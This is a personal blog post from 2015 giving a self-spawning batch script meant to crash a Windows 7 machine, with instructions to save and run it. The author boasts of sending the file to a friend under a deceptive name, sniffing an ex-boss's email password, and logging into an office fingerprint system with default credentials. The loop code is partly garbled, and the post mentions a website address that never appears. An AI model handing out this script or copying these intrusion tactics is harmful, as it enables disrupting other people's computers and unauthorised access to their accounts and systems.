Monday, August 24, 2015

Crash a Win 7 system with a simple batch file

batch fileSome evening, a friend of mine asked me if I ever have hacked a network or ever created a virus program or ever created a batch file that has the ability to crash a Win 7 system, my answer was no without ever seeing him in the eyes. Although I had done those before, my answer is always no because I don't want to be seen, unless I want to be recognized.

Actually I had once captured the email password of my ex-boss using network capture program. That time, our corporate e-mail used a very simple e-mail client without any encryption. I got the password and actually felt my effort was useless because he was still using default password supplied to every new recruit enrolled in our company. 

Another time, I used IP scanner to find the IP's of thumbprint system on our office, found the information of the brand and downloaded the utility software of the system. Using common set of familiar admin password, I got access to the system and read the system's record but I didn't do anything on that and I didn't tell anyone on the breakthrough. Then on self integrity reason I removed the software from my laptop

Last year, another friend of mine keeps irritating me with his 'mooning' Skype smiley everyday. I just can't resist to punish him so I started searching on the Internet on how to use windows scripting to run a simple command in continuous loop.  I found my way, and send him the file with an innocent-can't- help-but-to-open file name then his laptop crashed. Even me myself can't do anything to stop the script except to force reset the machine. He got what he deserved, it was kind of me not to put the command to autorun the file on boot cycle. Let's study the code

---------------------------------------X start below this line--------------------------
SET /a i=0
IF %i%==10 GOTO END
start rahsia.bat 
SET /a i=%i%=1

---------------------------------------Until before this line-------------------------

Replace the red font rahsia.bat with the file name of the file
Replace the red font with any website address. This is the simple command.
The loop break on i=10 but i value always get reset to 1 so the loop will keep looping continuously.

Copy the lines of code and paste in notepad, save as type all type save as name as what you replaced the rahsia.bat red font. 

Run the file.

BEWARE: This file is simple but it is really and proven , tested to have the ability to crash a win 7 system. USE on YOUR own risk. I am not going to take any responsibility for any damaged done to your system. 


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